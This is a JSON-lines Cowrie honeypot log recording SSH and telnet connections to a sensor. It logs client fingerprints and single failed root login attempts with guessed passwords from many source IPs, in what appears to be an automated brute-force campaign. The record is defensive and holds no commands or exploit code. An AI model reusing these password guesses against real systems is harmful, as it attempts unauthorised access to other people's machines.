{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:28.965093Z","src_ip":"103.149.170.125","session":"0616263c7d05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"c123456","message":"login attempt [root/c123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:29.767544Z","src_ip":"103.149.170.125","session":"0616263c7d05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:31.037570Z","src_ip":"103.149.170.125","session":"0616263c7d05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":43404,"dst_ip":"159.203.135.109","dst_port":22,"session":"45b89303fae9","protocol":"ssh","message":"New connection: 103.75.183.219:43404 (159.203.135.109:22) [session: 45b89303fae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:51.824449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:51.829626Z","src_ip":"103.75.183.219","session":"45b89303fae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:52.072442Z","src_ip":"103.75.183.219","session":"45b89303fae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"j38ifubn","message":"login attempt [root/j38ifubn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:52.804305Z","src_ip":"103.75.183.219","session":"45b89303fae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:54.049543Z","src_ip":"103.75.183.219","session":"45b89303fae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.79729080200195,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:58:54.100699Z","src_ip":"192.119.13.58","session":"ee13f193cd99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.7542839050293,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:00.770693Z","src_ip":"192.119.13.58","session":"5c810b8fc88c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":46446,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b2bb6b5bc2f","protocol":"ssh","message":"New connection: 103.82.20.28:46446 (10.17.0.5:22) [session: 0b2bb6b5bc2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:08.993256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:08.998520Z","src_ip":"103.82.20.28","session":"0b2bb6b5bc2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:09.257959Z","src_ip":"103.82.20.28","session":"0b2bb6b5bc2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shamil","message":"login attempt [root/shamil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:10.036298Z","src_ip":"103.82.20.28","session":"0b2bb6b5bc2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:11.299008Z","src_ip":"103.82.20.28","session":"0b2bb6b5bc2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":32788,"dst_ip":"159.203.135.109","dst_port":22,"session":"a482c628c72a","protocol":"ssh","message":"New connection: 193.228.128.84:32788 (159.203.135.109:22) [session: a482c628c72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:20.482630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:20.487427Z","src_ip":"193.228.128.84","session":"a482c628c72a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:20.589525Z","src_ip":"193.228.128.84","session":"a482c628c72a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedcrfvtgb","message":"login attempt [root/qazwsxedcrfvtgb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:20.907351Z","src_ip":"193.228.128.84","session":"a482c628c72a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:22.017181Z","src_ip":"193.228.128.84","session":"a482c628c72a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":34228,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a29d3b70821","protocol":"ssh","message":"New connection: 62.133.62.83:34228 (159.203.135.109:22) [session: 8a29d3b70821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:26.912972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:26.918125Z","src_ip":"62.133.62.83","session":"8a29d3b70821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:26.996800Z","src_ip":"62.133.62.83","session":"8a29d3b70821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aspirin","message":"login attempt [root/aspirin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:27.234935Z","src_ip":"62.133.62.83","session":"8a29d3b70821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:28.317833Z","src_ip":"62.133.62.83","session":"8a29d3b70821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":51986,"dst_ip":"10.17.0.5","dst_port":22,"session":"e11c74f5654c","protocol":"ssh","message":"New connection: 103.77.175.15:51986 (10.17.0.5:22) [session: e11c74f5654c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:49.180951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:49.185683Z","src_ip":"103.77.175.15","session":"e11c74f5654c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:49.437617Z","src_ip":"103.77.175.15","session":"e11c74f5654c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15975","message":"login attempt [root/15975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:50.197820Z","src_ip":"103.77.175.15","session":"e11c74f5654c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:59:51.461440Z","src_ip":"103.77.175.15","session":"e11c74f5654c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54924,"dst_ip":"10.17.0.5","dst_port":23,"session":"51b19ba3e40b","protocol":"telnet","message":"New connection: 192.119.13.58:54924 (10.17.0.5:23) [session: 51b19ba3e40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:00:08.302268Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":50224,"dst_ip":"159.203.135.109","dst_port":22,"session":"b234b6231e9b","protocol":"ssh","message":"New connection: 103.122.221.179:50224 (159.203.135.109:22) [session: b234b6231e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:00:20.523045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:00:20.528980Z","src_ip":"103.122.221.179","session":"b234b6231e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:00:20.795457Z","src_ip":"103.122.221.179","session":"b234b6231e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fallout","message":"login attempt [root/fallout] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:00:21.593556Z","src_ip":"103.122.221.179","session":"b234b6231e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:00:22.867147Z","src_ip":"103.122.221.179","session":"b234b6231e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47242,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8219bbbfa00","protocol":"telnet","message":"New connection: 192.119.13.58:47242 (10.17.0.5:23) [session: b8219bbbfa00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:00:23.412387Z"}
{"eventid":"cowrie.session.closed","duration":45.043668270111084,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:00:53.345809Z","src_ip":"192.119.13.58","session":"51b19ba3e40b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51634,"dst_ip":"10.17.0.5","dst_port":23,"session":"155da0240fcf","protocol":"telnet","message":"New connection: 192.119.13.58:51634 (10.17.0.5:23) [session: 155da0240fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:00:59.511125Z"}
{"eventid":"cowrie.session.closed","duration":44.95011377334595,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:01:08.362346Z","src_ip":"192.119.13.58","session":"b8219bbbfa00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43504,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5e1051a5b7f","protocol":"telnet","message":"New connection: 192.119.13.58:43504 (10.17.0.5:23) [session: a5e1051a5b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:01:15.316616Z"}
{"eventid":"cowrie.session.closed","duration":32.79516339302063,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:01:32.306185Z","src_ip":"192.119.13.58","session":"155da0240fcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38164,"dst_ip":"10.17.0.5","dst_port":23,"session":"238c0dfdf01c","protocol":"telnet","message":"New connection: 192.119.13.58:38164 (10.17.0.5:23) [session: 238c0dfdf01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:01:39.967746Z"}
{"eventid":"cowrie.session.closed","duration":35.11118698120117,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:01:50.427656Z","src_ip":"192.119.13.58","session":"a5e1051a5b7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":54932,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8412aa95181","protocol":"ssh","message":"New connection: 37.233.85.71:54932 (159.203.135.109:22) [session: e8412aa95181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:01.036433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:01.042991Z","src_ip":"37.233.85.71","session":"e8412aa95181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh